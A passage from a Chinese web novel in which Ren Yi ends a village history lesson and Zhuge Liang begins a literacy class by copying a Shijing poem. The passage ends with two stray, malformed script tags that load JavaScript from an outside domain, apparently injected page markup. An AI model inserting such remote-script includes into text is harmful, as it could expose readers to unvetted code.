“等以后,你们经历多了,见多了世事,比如见了村里争地界,见了邻里闹矛盾,见了列国打仗,那一刻,你们就会突然醍醐灌顶,茅塞顿开。”
“哦,原来任先生当年讲的秦齐二帝,是这么个道理。”
“到那时候,今天我讲的这些,就真正有用了,这,就完成了一个闭环。”
村民们似懂非懂地点了点头,虽然还是不太明白“闭环”是什么意思,可他们能感觉到,任弋说的,是为他们好。
诸葛亮站在一旁,羽扇轻摇,眼神里满是赞许,看向任弋的目光,多了几分欣赏。任弋讲历史,从来都不局限于史实,总能引申出道理,总能讲到村民们的心坎里。
督邮站在人群边上,静静地听着,脸上没什么表情,心里却泛起了波澜。
他原本以为,任弋只是个懂机械、会织布的奇人,没想到,他讲起历史来,也这般有章法,这般有深意。
这个年轻人,身上的惊喜,好像越来越多了。
任弋看了看天色,又看了看众人,笑着抬手:“好了,咱们这节历史课,就讲到这儿。歇口气,接下来,是诸葛先生的识字课。”
话音刚落,院子里就响起一阵轻轻的欢呼声。
村民们大多不识字,平日里想写信、想认账,都得求别人,所以,他们格外喜欢诸葛亮的识字课。
诸葛亮笑着走上前,接过任弋手里的木笔,点了点头,语气温和:“辛苦了,接下来就交给我吧。”
任弋笑着退到一旁,找了个马扎坐下,拿起桌上的水,喝了一口,也陪着村民们,一起听诸葛亮讲课。
诸葛亮的课,一向都讲得很好。
他不像别的先生那样,死板地教字、念字,而是引经据典,讲字背后的故事,讲文章里的情感,枯燥的识字课,被他讲得生动有趣,没人会觉得无聊。
比如今天。
他站在木板前,笑眯眯地拿起木笔,蘸了蘸墨,一笔一划,将《诗经》里的《氓》,慢慢誊抄在木板上。
墨香混合着木头的清香,在院子里慢慢散开。
“氓之蚩蚩,抱布贸丝。匪来贸丝,来即我谋。”
他一边写,一边轻声念着,声音温润,像流水一样,缓缓淌进每个人的心里。
“送子涉淇,至于顿丘。匪我愆期,子无良媒。将子无怒,秋以为期。”
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">